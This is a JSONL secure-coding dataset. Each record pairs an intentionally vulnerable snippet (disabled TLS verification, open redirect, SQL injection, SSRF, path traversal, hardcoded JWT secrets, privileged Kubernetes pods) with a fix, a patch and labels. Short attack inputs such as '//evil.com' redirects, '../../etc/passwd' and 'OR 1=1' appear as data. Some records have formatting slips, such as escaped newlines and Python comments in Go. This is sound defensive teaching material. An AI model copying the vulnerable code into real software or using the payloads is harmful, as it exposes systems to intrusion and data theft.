{"id": "SCP-000285", "language": "C++", "framework": "STD", "title": "Improper TLS certificate verification", "description": "A C++ TLS client disables peer verification.", "owasp": "A02:2021 - Cryptographic Failures", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-295", "mitre_attack": "T1557 - Adversary-in-the-Middle", "severity": "Critical", "difficulty": "Advanced", "vulnerable_code": "ctx->set_verify_mode(boost::asio::ssl::verify_none); // Vulnerable", "secure_code": "ctx->set_verify_mode(boost::asio::ssl::verify_peer); // Secure\nctx->set_default_verify_paths();", "patch": "--- a/tls.cpp\n+++ b/tls.cpp\n@@ -1,2 +1,3 @@\n-ctx->set_verify_mode(boost::asio::ssl::verify_none);\n+ctx->set_verify_mode(boost::asio::ssl::verify_peer);\n+ctx->set_default_verify_paths();", "root_cause": "Verification disabled.", "attack": "MITM intercepts TLS.", "impact": "Credential/data theft.", "fix": "Enable peer verify.", "guideline": "Always verify TLS.", "tags": ["tls", "cpp", "mitm"], "metadata": {"domain": "Banking", "input_source": "network", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000246", "language": "Ruby", "framework": "Rails", "title": "Open redirect in redirect_to", "description": "A Rails action redirects to a param without validation.", "owasp": "A01:2021 - Broken Access Control", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-601", "mitre_attack": "T1566 - Phishing", "severity": "Medium", "difficulty": "Beginner", "vulnerable_code": "def go\n redirect_to params[:url] # Vulnerable\nend", "secure_code": "def go\n url = params[:url]\n redirect_to (url if url&.start_with?(\"/\")) || root_path # Secure\nend", "patch": "--- a/links_controller.rb\n+++ b/links_controller.rb\n@@ -1,3 +1,4 @@\n-def go\n redirect_to params[:url]\n+ url = params[:url]\n+ redirect_to (url if url&.start_with?(\"/\")) || root_path", "root_cause": "Unvalidated redirect target.", "attack": "url=//evil.com phishing.", "impact": "Phishing.", "fix": "Allowlist relative paths.", "guideline": "Validate redirects.", "tags": ["open-redirect", "rails", "ruby", "phishing"], "metadata": {"domain": "Authentication systems", "input_source": "query_param", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000384", "language": "Rust", "framework": "Actix", "title": "File upload without type check", "description": "An upload stores any content type.", "owasp": "A04:2021 - Insecure Design", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-434", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "High", "difficulty": "Intermediate", "vulnerable_code": "std::fs::write(format!(\"/up/{}\", fname), data)?; // Vulnerable: any type\\", "secure_code": "if ct != \"image/png\" && ct != \"image/jpeg\" { return Err(...); } // Secure\\nlet name = format!(\"{}.png\", Uuid::new_v4());\\nstd::fs::write(format!(\"/up/{}\", name), data)?;\\", "patch": "--- a/upload.rs\\n+++ b/upload.rs\\n@@ -1,3 +1,5 @@\\n-std::fs::write(format!(\"/up/{}\", fname), data)?;\\n+if ct != \"image/png\" && ct != \"image/jpeg\" { return Err(...); }\\n+let name = format!(\"{}.png\", Uuid::new_v4());\\n+std::fs::write(format!(\"/up/{}\", name), data)?;\\", "root_cause": "No type validation.", "attack": "Upload .rs/.sh webshell.", "impact": "RCE.", "fix": "Allowlist types; randomize.", "guideline": "Validate uploads.", "tags": ["file-upload", "rust", "actix", "rce"], "metadata": {"domain": "E-commerce", "input_source": "form_field", "auth_required": true}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000023", "language": "Go", "framework": "Gin", "title": "Race condition in balance transfer", "description": "A Gin handler updates an account balance with a read-modify-write that is not atomic.", "owasp": "A04:2021 - Insecure Design", "owasp_api": "API3:2023 - Broken Object Property Level Authorization", "owasp_llm": "", "cwe": "CWE-362", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "High", "difficulty": "Advanced", "vulnerable_code": "func transfer(c *gin.Context) {\n acct := load(c.Query(\"acct\"))\n amt := parse(c.Query(\"amt\"))\n // Vulnerable: non-atomic read-modify-write\n acct.Balance = acct.Balance - amt\n save(acct)\n c.JSON(200, acct)\n}\n", "secure_code": "func transfer(c *gin.Context) {\n acctID := c.Query(\"acct\")\n amt := parse(c.Query(\"amt\"))\n // Secure: DB-level atomic update with constraint\n rows, err := db.Exec(\n `UPDATE accounts SET balance = balance - $1\n WHERE id=$2 AND balance >= $1`, amt, acctID)\n if err != nil || rows == 0 { c.Status(409); return }\n c.JSON(200, gin.H{\"ok\": true})\n}\n", "patch": "--- a/transfer.go\n+++ b/transfer.go\n@@ -2,7 +2,10 @@\n- acct.Balance = acct.Balance - amt\n- save(acct)\n+ rows, err := db.Exec(\n+ `UPDATE accounts SET balance = balance - $1 WHERE id=$2 AND balance >= $1`, amt, acctID)\n+ if err != nil || rows == 0 { c.Status(409); return }\n", "root_cause": "Concurrent requests interleave read-modify-write, allowing the same balance to be spent twice.", "attack": "Send two near-simultaneous transfers; both pass the balance check before either writes.", "impact": "Double-spend / inconsistent financial state.", "fix": "Perform the update atomically in the database with a conditional constraint and transactions.", "guideline": "Use DB transactions and conditional updates; never trust in-memory read-modify-write for money.", "tags": ["race-condition", "gin", "go", "banking"], "metadata": {"domain": "Banking", "input_source": "query_param", "auth_required": true}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000136", "language": "Go", "framework": "Gin", "title": "Insecure cookie SameSite none with HTTP", "description": "A Gin handler sets SameSite=None without Secure, exposing CSRF.", "owasp": "A05:2021 - Security Misconfiguration", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-614", "mitre_attack": "T1539 - Steal Web Session Cookie", "severity": "Medium", "difficulty": "Beginner", "vulnerable_code": "c.SetCookie(\"sid\", t, 3600, \"/\", \"\", false, false) # Vulnerable: not Secure\nc.SetSameSite(http.SameSiteNoneMode)", "secure_code": "c.SetSameSite(http.SameSiteLaxMode) # Secure\nc.SetCookie(\"sid\", t, 3600, \"/\", \"\", true, true)", "patch": "--- a/auth.go\n+++ b/auth.go\n@@ -1,3 +1,3 @@\n-c.SetCookie(\"sid\", t, 3600, \"/\", \"\", false, false)\n-c.SetSameSite(http.SameSiteNoneMode)\n+c.SetSameSite(http.SameSiteLaxMode)\n+c.SetCookie(\"sid\", t, 3600, \"/\", \"\", true, true)", "root_cause": "SameSite=None without Secure lets cookies ride insecure requests.", "attack": "Network attacker reads the cookie over HTTP.", "impact": "Session theft.", "fix": "Use Secure + HttpOnly; prefer Lax unless cross-site needed.", "guideline": "Pair SameSite with Secure; prefer Lax.", "tags": ["session", "gin", "go", "cookies"], "metadata": {"domain": "Authentication systems", "input_source": "cookie", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000320", "language": "Go", "framework": "Gin", "title": "Unsafe reflection by name", "description": "A Go handler instantiates a type from a request param.", "owasp": "A03:2021 - Injection", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-470", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "High", "difficulty": "Advanced", "vulnerable_code": "typ := reflect.TypeOf(structs[req.FormValue(\"t\")]) // Vulnerable: arbitrary\nobj := reflect.New(typ).Interface()", "secure_code": "ALLOWED := map[string]bool{\"A\": true, \"B\": true}\nif !ALLOWED[req.FormValue(\"t\")] { c.AbortWithStatus(400); return } // Secure", "patch": "--- a/handler.go\n+++ b/handler.go\n@@ -1,3 +1,4 @@\n-typ := reflect.TypeOf(structs[req.FormValue(\"t\")])\n-obj := reflect.New(typ).Interface()\n+ALLOWED := map[string]bool{\"A\": true, \"B\": true}\n+if !ALLOWED[req.FormValue(\"t\")] { c.AbortWithStatus(400); return }", "root_cause": "Unrestricted reflection.", "attack": "Pick unexpected type for abuse.", "impact": "Logic abuse / RCE.", "fix": "Allowlist reflectable types.", "guideline": "Restrict reflection.", "tags": ["injection", "go", "gin", "reflection"], "metadata": {"domain": "Backend", "input_source": "form_field", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000177", "language": "Ruby", "framework": "Rails", "title": "SQL injection via .order with params", "description": "A Rails controller orders by a raw request param, enabling injection.", "owasp": "A03:2021 - Injection", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-89", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "Medium", "difficulty": "Intermediate", "vulnerable_code": "def index\n @users = User.order(params[:sort]) # Vulnerable: raw column\nend", "secure_code": "ALLOWED = %w[name email created_at].freeze\ndef index\n col = ALLOWED.include?(params[:sort]) ? params[:sort] : 'created_at' # Secure\n @users = User.order(col)\nend", "patch": "--- a/users_controller.rb\n+++ b/users_controller.rb\n@@ -1,4 +1,5 @@\n-def index\n @users = User.order(params[:sort])\n+ col = ALLOWED.include?(params[:sort]) ? params[:sort] : 'created_at'\n+ @users = User.order(col)", "root_cause": "Sort param inserted into ORDER BY without validation.", "attack": "sort=CASE WHEN... performs blind SQLi.", "impact": "Data disclosure.", "fix": "Allowlist sortable columns.", "guideline": "Allowlist ORDER BY columns.", "tags": ["sqli", "rails", "ruby", "injection"], "metadata": {"domain": "E-commerce", "input_source": "query_param", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000184", "language": "C", "framework": "POSIX", "title": "TOCTOU on file permission check", "description": "A C program checks file ownership then opens it, allowing swap between checks.", "owasp": "A01:2021 - Broken Access Control", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-367", "mitre_attack": "T1203 - Exploitation for Client Execution", "severity": "High", "difficulty": "Advanced", "vulnerable_code": "if (access(path, W_OK) == 0) { // Vulnerable: TOCTOU\n fd = open(path, O_WRONLY);\n write(fd, buf, n);\n}", "secure_code": "fd = open(path, O_WRONLY); // Secure: open, then fstat on fd\nif (fd >= 0) {\n struct stat st; fstat(fd, &st);\n if (st.st_uid != getuid()) { close(fd); }\n else write(fd, buf, n);\n}", "patch": "--- a/write.c\n+++ b/write.c\n@@ -1,5 +1,7 @@\n-if (access(path, W_OK) == 0) {\n- fd = open(path, O_WRONLY);\n- write(fd, buf, n);\n+fd = open(path, O_WRONLY);\n+if (fd >= 0) {\n+ struct stat st; fstat(fd, &st);\n+ if (st.st_uid != getuid()) { close(fd); } else write(fd, buf, n);\n}", "root_cause": "Check-then-open race lets an attacker swap the file.", "attack": "Swap target with a symlink to a privileged file between access() and open().", "impact": "Arbitrary file write.", "fix": "Operate on the fd; fstat after open.", "guideline": "Avoid TOCTOU; use open + fstat.", "tags": ["toctou", "c", "race-condition"], "metadata": {"domain": "IoT", "input_source": "file", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000050", "language": "Rust", "framework": "Actix", "title": "Unbounded request body (DoS)", "description": "An Actix handler reads the entire request body with no size limit, enabling memory exhaustion.", "owasp": "A04:2021 - Insecure Design", "owasp_api": "API4:2023 - Unrestricted Resource Consumption", "owasp_llm": "", "cwe": "CWE-770", "mitre_attack": "T1499 - Endpoint Denial of Service", "severity": "Medium", "difficulty": "Intermediate", "vulnerable_code": "async fn upload(mut body: web::Payload) -> impl Responder {\n // Vulnerable: no max size\n let bytes = body.to_bytes_limited(usize::MAX).await.unwrap();\n process(&bytes);\n HttpResponse::Ok().finish()\n}\n", "secure_code": "async fn upload(mut body: web::Payload) -> impl Responder {\n // Secure: cap at 1 MiB\n let bytes = match body.to_bytes_limited(1 << 20).await {\n Ok(b) => b,\n Err(_) => return HttpResponse::PayloadTooLarge().finish(),\n };\n process(&bytes);\n HttpResponse::Ok().finish()\n}\n", "patch": "--- a/upload.rs\n+++ b/upload.rs\n@@ -2,4 +2,7 @@\n- let bytes = body.to_bytes_limited(usize::MAX).await.unwrap();\n+ let bytes = match body.to_bytes_limited(1 << 20).await {\n+ Ok(b) => b,\n+ Err(_) => return HttpResponse::PayloadTooLarge().finish(),\n+ };\n", "root_cause": "No limit is enforced on request body size, allowing attackers to exhaust memory.", "attack": "Send a multi-gigabyte body to crash or slow the service for everyone.", "impact": "Denial of service via resource exhaustion.", "fix": "Enforce a strict maximum body size and reject oversized requests early.", "guideline": "Bound all inputs; enforce payload size limits at the edge and per-route.", "tags": ["dos", "rust", "actix", "resource-exhaustion"], "metadata": {"domain": "Serverless", "input_source": "request_body", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000195", "language": "YAML", "framework": "Kubernetes", "title": "Container with added Linux capabilities", "description": "A Pod adds CAP_SYS_ADMIN, enabling privilege escalation.", "owasp": "A05:2021 - Security Misconfiguration", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-250", "mitre_attack": "T1611 - Escape to Host", "severity": "Critical", "difficulty": "Intermediate", "vulnerable_code": "securityContext:\n capabilities:\n add: [\"SYS_ADMIN\"] # Vulnerable", "secure_code": "securityContext:\n capabilities:\n drop: [\"ALL\"] # Secure\n allowPrivilegeEscalation: false", "patch": "--- a/pod.yaml\n+++ b/pod.yaml\n@@ -1,4 +1,4 @@\n- add: [\"SYS_ADMIN\"]\n+ drop: [\"ALL\"]\n+ allowPrivilegeEscalation: false", "root_cause": "Excess capabilities permit container escape.", "attack": "SYS_ADMIN lets the container mount host filesystem.", "impact": "Host compromise.", "fix": "Drop all capabilities; add only what's required.", "guideline": "Drop capabilities; avoid SYS_ADMIN.", "tags": ["kubernetes", "privilege", "yaml", "container"], "metadata": {"domain": "Microservices", "input_source": "manifest", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000461", "language": "Go", "framework": "Gin", "title": "SSRF in proxy endpoint", "description": "Gin proxy fetches arbitrary user URLs.", "owasp": "A10:2021 - SSRF", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-918", "mitre_attack": "T1190", "severity": "High", "difficulty": "Intermediate", "vulnerable_code": "resp, _ := http.Get(c.Query(\"url\")) // SSRF", "secure_code": "u, err := url.Parse(c.Query(\"url\"))\nif err != nil || !allowlist[u.Host] { c.AbortWithStatus(403); return }\nresp, _ := http.Get(u.String())", "patch": "--- a/proxy.go\n+++ b/proxy.go\n@@ -1,2 +1,4 @@\n-resp, _ := http.Get(c.Query(\"url\"))\n+u, err := url.Parse(c.Query(\"url\"))\n+if err != nil || !allowlist[u.Host] { c.AbortWithStatus(403); return }\n+resp, _ := http.Get(u.String())", "root_cause": "Unvalidated fetch URL.", "attack": "Fetch cloud metadata.", "impact": "Metadata theft.", "fix": "Allowlist hosts.", "guideline": "Validate fetch targets.", "tags": ["ssrf", "go", "gin", "rce"], "metadata": {"auth_required": false, "domain": "Cloud", "input_source": "query_param"}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000471", "language": "Go", "framework": "Gin", "title": "Hardcoded JWT secret in Go", "description": "Gin service uses hardcoded JWT signing secret.", "owasp": "A02:2021 - Cryptographic Failures", "owasp_api": "API2:2023", "owasp_llm": "", "cwe": "CWE-798", "mitre_attack": "T1600", "severity": "Critical", "difficulty": "Intermediate", "vulnerable_code": "var jwtSecret = []byte(\"secret\") // brute-forceable", "secure_code": "var jwtSecret = []byte(os.Getenv(\"JWT_SECRET\")) // env", "patch": "--- a/auth.go\n+++ b/auth.go\n@@ -1,2 +1,2 @@\n-var jwtSecret = []byte(\"secret\")\n+var jwtSecret = []byte(os.Getenv(\"JWT_SECRET\"))", "root_cause": "Weak hardcoded secret.", "attack": "Forge tokens.", "impact": "Auth bypass.", "fix": "Use env secret.", "guideline": "Externalize JWT secret.", "tags": ["jwt", "go", "gin", "auth"], "metadata": {"auth_required": true, "domain": "Authentication systems", "input_source": "server"}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000173", "language": "YAML", "framework": "Kubernetes", "title": "Service account token automount enabled", "description": "A Pod mounts the default service account token, widening blast radius if compromised.", "owasp": "A05:2021 - Security Misconfiguration", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-250", "mitre_attack": "T1078 - Valid Accounts", "severity": "Medium", "difficulty": "Beginner", "vulnerable_code": "spec:\n containers:\n - name: app\n image: app:1.0\n # Vulnerable: default token automounted", "secure_code": "spec:\n automountServiceAccountToken: false # Secure: opt-in only\n containers:\n - name: app\n image: app:1.0\n env:\n - name: TOKEN\n valueFrom:\n secretKeyRef: { name: app-token, key: token }", "patch": "--- a/pod.yaml\n+++ b/pod.yaml\n@@ -1,5 +1,6 @@\n+ automountServiceAccountToken: false\n containers:\n - name: app\n image: app:1.0", "root_cause": "Default SA token automounted gives API access if the pod is compromised.", "attack": "Compromised app uses the token to call the Kubernetes API.", "impact": "Lateral movement in the cluster.", "fix": "Disable automount; use scoped tokens.", "guideline": "Disable SA token automount by default.", "tags": ["kubernetes", "rbac", "yaml", "secrets"], "metadata": {"domain": "Microservices", "input_source": "manifest", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000401", "language": "Swift", "framework": "iOS", "title": "SQL injection in Core Data fetch", "description": "An iOS fetch uses a concatenated predicate format.", "owasp": "A03:2021 - Injection", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-89", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "High", "difficulty": "Intermediate", "vulnerable_code": "let req = NSFetchRequest(entityName: \"User\")\\nreq.predicate = NSPredicate(format: \"name == '\\(name)'\") // Vulnerable: format injection\\", "secure_code": "req.predicate = NSPredicate(format: \"name == %@\", name) // Secure: bound arg\\", "patch": "--- a/Store.swift\\n+++ b/Store.swift\\n@@ -1,4 +1,4 @@\\n-let req = NSFetchRequest(entityName: \"User\")\\n-req.predicate = NSPredicate(format: \"name == '\\(name)'\")\\n+req.predicate = NSPredicate(format: \"name == %@\", name)\\", "root_cause": "Predicate format with interpolation.", "attack": "name=' OR 1=1 bypasses.", "impact": "Data disclosure.", "fix": "Use %@ bound args.", "guideline": "Bind all predicates.", "tags": ["sqli", "swift", "ios", "injection"], "metadata": {"domain": "Mobile", "input_source": "query_param", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000111", "language": "Java", "framework": "Spring Boot", "title": "Open redirect via ModelAndView", "description": "A Spring controller returns a user-supplied URL in a redirect.", "owasp": "A01:2021 - Broken Access Control", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-601", "mitre_attack": "T1566 - Phishing", "severity": "Medium", "difficulty": "Beginner", "vulnerable_code": "@GetMapping(\"/out\")\npublic String out(@RequestParam String url) {\n return \"redirect:\" + url; // Vulnerable\n}", "secure_code": "@GetMapping(\"/out\")\npublic String out(@RequestParam String url) {\n if (!url.startsWith(\"/\")) return \"redirect:/\"; // Secure\n return \"redirect:\" + url;\n}", "patch": "--- a/LinkController.java\n+++ b/LinkController.java\n@@ -2,4 +2,5 @@\n- return \"redirect:\" + url;\n+ if (!url.startsWith(\"/\")) return \"redirect:/\";\n+ return \"redirect:\" + url;", "root_cause": "Redirect target is unvalidated user input.", "attack": "out?url=//evil.com phishes the user.", "impact": "Phishing, credential theft.", "fix": "Allowlist relative same-origin paths.", "guideline": "Validate redirect targets.", "tags": ["open-redirect", "spring", "java", "phishing"], "metadata": {"domain": "Authentication systems", "input_source": "query_param", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000080", "language": "JavaScript", "framework": "GraphQL", "title": "Broken object level auth in GraphQL resolver", "description": "A GraphQL resolver returns a user by id without checking the caller owns it.", "owasp": "A01:2021 - Broken Access Control", "owasp_api": "API1:2023 - Broken Object Level Authorization", "owasp_llm": "", "cwe": "CWE-639", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "High", "difficulty": "Intermediate", "vulnerable_code": "const resolvers = {\n Query: {\n user: (_, { id }) => db.users.find({ id }), // Vulnerable: no owner check\n }\n};\n", "secure_code": "const resolvers = {\n Query: {\n user: (_, { id }, ctx) => {\n // Secure: scope to authenticated user\n if (id !== ctx.user.id && !ctx.user.isAdmin)\n throw new ForbiddenError('no access');\n return db.users.find({ id });\n }\n }\n};\n", "patch": "--- a/graphql/resolvers.js\n+++ b/graphql/resolvers.js\n@@ -2,4 +2,8 @@\n- user: (_, { id }) => db.users.find({ id }),\n+ user: (_, { id }, ctx) => {\n+ if (id !== ctx.user.id && !ctx.user.isAdmin)\n+ throw new ForbiddenError('no access');\n+ return db.users.find({ id });\n+ }\n", "root_cause": "The resolver trusts the requested id without verifying caller ownership/role.", "attack": "Caller requests other users' ids to scrape PII.", "impact": "Cross-user data disclosure.", "fix": "Enforce object-level authorization in every resolver using the auth context.", "guideline": "Authorize in resolvers by owner/role from the auth context.", "tags": ["idor", "graphql", "javascript", "access-control"], "metadata": {"domain": "E-commerce", "input_source": "args", "auth_required": true}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000445", "language": "Ruby", "framework": "Rails", "title": "Weak JWT secret in Rails", "description": "Rails API uses a short, guessable JWT secret.", "owasp": "A07:2021 - Auth Failures", "owasp_api": "API2:2023", "owasp_llm": "", "cwe": "CWE-345", "mitre_attack": "T1600", "severity": "Critical", "difficulty": "Advanced", "vulnerable_code": "secret = \"secret123\" # brute-forceable", "secure_code": "secret = ENV[\"JWT_SECRET\"] # 32+ random bytes", "patch": "--- a/initializers/jwt.rb\n+++ b/initializers/jwt.rb\n@@ -1,2 +1,2 @@\n-secret = \"secret123\"\n+secret = ENV[\"JWT_SECRET\"]", "root_cause": "Weak JWT secret.", "attack": "Brute-force / crack signature.", "impact": "Auth bypass.", "fix": "Use strong random secret.", "guideline": "Long random JWT secret.", "tags": ["jwt", "rails", "ruby", "auth"], "metadata": {"auth_required": true, "domain": "Authentication systems", "input_source": "server"}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000175", "language": "Java", "framework": "Spring Boot", "title": "Unbounded request size (upload DoS)", "description": "A Spring endpoint accepts any multipart size, exhausting disk.", "owasp": "A04:2021 - Insecure Design", "owasp_api": "API4:2023 - Unrestricted Resource Consumption", "owasp_llm": "", "cwe": "CWE-770", "mitre_attack": "T1499 - Endpoint Denial of Service", "severity": "Medium", "difficulty": "Beginner", "vulnerable_code": "@PostMapping(\"/upload\")\npublic String up(@RequestParam MultipartFile f) { // Vulnerable: no size cap\n f.transferTo(new File(\"/data/\" + f.getOriginalFilename()));\n return \"ok\";\n}", "secure_code": "@PostMapping(\"/upload\")\npublic String up(@RequestParam MultipartFile f) {\n if (f.getSize() > 5_000_000) return \"too big\"; // Secure\n if (!f.getContentType().startsWith(\"image/\")) return \"bad type\";\n f.transferTo(new File(\"/data/\" + UUID.randomUUID()));\n return \"ok\";\n}", "patch": "--- a/UploadController.java\n+++ b/UploadController.java\n@@ -1,5 +1,7 @@\n- f.transferTo(new File(\"/data/\" + f.getOriginalFilename()));\n+ if (f.getSize() > 5_000_000) return \"too big\";\n+ if (!f.getContentType().startsWith(\"image/\")) return \"bad type\";\n+ f.transferTo(new File(\"/data/\" + UUID.randomUUID()));", "root_cause": "No size/type limits on upload.", "attack": "Upload huge file to fill disk.", "impact": "Denial of service.", "fix": "Cap size; validate type; randomize name.", "guideline": "Limit uploads; validate type.", "tags": ["dos", "spring", "java", "upload"], "metadata": {"domain": "E-commerce", "input_source": "form_field", "auth_required": true}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000464", "language": "C#", "framework": "ASP.NET Core", "title": "SSRF in HttpClient", "description": "Controller fetches user-supplied URL.", "owasp": "A10:2021 - SSRF", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-918", "mitre_attack": "T1190", "severity": "High", "difficulty": "Intermediate", "vulnerable_code": "var html = await client.GetStringAsync(url);", "secure_code": "if (!Uri.TryCreate(url, UriKind.Absolute, out var u) ||\n !ALLOWED_HOSTS.Contains(u.Host))\n return BadRequest();\nvar html = await client.GetStringAsync(u);", "patch": "--- a/ProxyController.cs\n+++ b/ProxyController.cs\n@@ -1,2 +1,4 @@\n-var html = await client.GetStringAsync(url);\n+if (!Uri.TryCreate(url, UriKind.Absolute, out var u) ||\n+ !ALLOWED_HOSTS.Contains(u.Host)) return BadRequest();\n+var html = await client.GetStringAsync(u);", "root_cause": "Unvalidated fetch URL.", "attack": "Fetch internal metadata.", "impact": "Metadata theft.", "fix": "Allowlist hosts.", "guideline": "Validate fetch targets.", "tags": ["ssrf", "csharp", "aspnet", "rce"], "metadata": {"auth_required": false, "domain": "Cloud", "input_source": "query_param"}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000368", "language": "Rust", "framework": "Actix", "title": "Path traversal in file serve", "description": "An Actix handler serves a file from a user path.", "owasp": "A01:2021 - Broken Access Control", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-22", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "High", "difficulty": "Intermediate", "vulnerable_code": "let path = format!(\"/data/{}\", name); // Vulnerable: traversal\\nactix_files::NamedFile::open(path)?.into_response(&req)\\", "secure_code": "let name = Path::new(&name).file_name().ok_or(404)?;\\nlet path = Path::new(\"/data\").join(name); // Secure: basename\\nactix_files::NamedFile::open(path)?.into_response(&req)\\", "patch": "--- a/files.rs\\n+++ b/files.rs\\n@@ -1,4 +1,5 @@\\n-let path = format!(\"/data/{}\", name);\\n-actix_files::NamedFile::open(path)?.into_response(&req)\\n+let name = Path::new(&name).file_name().ok_or(404)?;\\n+let path = Path::new(\"/data\").join(name);\\n+actix_files::NamedFile::open(path)?.into_response(&req)\\", "root_cause": "Unsanitized filename.", "attack": "name=../../etc/passwd reads file.", "impact": "File disclosure.", "fix": "Basename + confine.", "guideline": "Confine file paths.", "tags": ["path-traversal", "rust", "actix", "file-read"], "metadata": {"domain": "Backend", "input_source": "query_param", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000082", "language": "JavaScript", "framework": "GraphQL", "title": "GraphQL batching abuse for brute force", "description": "A GraphQL endpoint accepts batched requests with no rate limit, defeating lockout.", "owasp": "A07:2021 - Identification and Authentication Failures", "owasp_api": "API4:2023 - Unrestricted Resource Consumption", "owasp_llm": "", "cwe": "CWE-307", "mitre_attack": "T1110 - Brute Force", "severity": "Medium", "difficulty": "Intermediate", "vulnerable_code": "// accepts [{query: login}, ...] in one HTTP call\napp.post('/graphql', (req, res) => {\n const batch = Array.isArray(req.body) ? req.body : [req.body];\n // Vulnerable: no per-batch rate limit\n Promise.all(batch.map(b => execute(b))).then(r => res.json(r));\n});\n", "secure_code": "const limiter = rateLimit({ windowMs: 15*60*1000, max: 20 });\napp.post('/graphql', limiter, (req, res) => {\n const batch = Array.isArray(req.body) ? req.body : [req.body];\n if (batch.length > 5) return res.status(413).end(); // Secure: cap batch\n Promise.all(batch.map(b => execute(b))).then(r => res.json(r));\n});\n", "patch": "--- a/graphql/server.js\n+++ b/graphql/server.js\n@@ -1,5 +1,7 @@\n+const limiter = rateLimit({ windowMs: 15*60*1000, max: 20 });\n+app.post('/graphql', limiter, (req, res) => {\n+ if (batch.length > 5) return res.status(413).end();\n", "root_cause": "Batched queries let an attacker try many credentials in a single request, bypassing per-request limits.", "attack": "Send 1000 login mutations in one batch to brute force passwords.", "impact": "Credential brute force / stuffing.", "fix": "Limit batch size and apply per-IP/per-account rate limiting.", "guideline": "Cap GraphQL batch size; rate limit auth mutations.", "tags": ["rate-limiting", "graphql", "javascript", "auth"], "metadata": {"domain": "Authentication systems", "input_source": "request_body", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000423", "language": "YAML", "framework": "Kubernetes", "title": "Capability NET_ADMIN added", "description": "A container adds dangerous Linux capabilities.", "owasp": "A05:2021 - Security Misconfiguration", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-250", "mitre_attack": "T1611 - Escape to Host", "severity": "High", "difficulty": "Intermediate", "vulnerable_code": "securityContext:\\n capabilities:\\n add: [\"NET_ADMIN\", \"SYS_ADMIN\"] # Vulnerable\\", "secure_code": "securityContext:\\n capabilities:\\n drop: [\"ALL\"] # Secure: least privilege\\", "patch": "--- a/deploy.yaml\\n+++ b/deploy.yaml\\n@@ -1,5 +1,4 @@\\n-securityContext:\\n capabilities:\\n add: [\"NET_ADMIN\", \"SYS_ADMIN\"]\\n+securityContext:\\n+ capabilities:\\n+ drop: [\"ALL\"]\\", "root_cause": "Dangerous capabilities added.", "attack": "Manipulate networking / host.", "impact": "Container escape.", "fix": "Drop ALL caps.", "guideline": "Minimal capabilities.", "tags": ["kubernetes", "yaml", "capability", "container"], "metadata": {"domain": "Kubernetes", "input_source": "manifest", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}
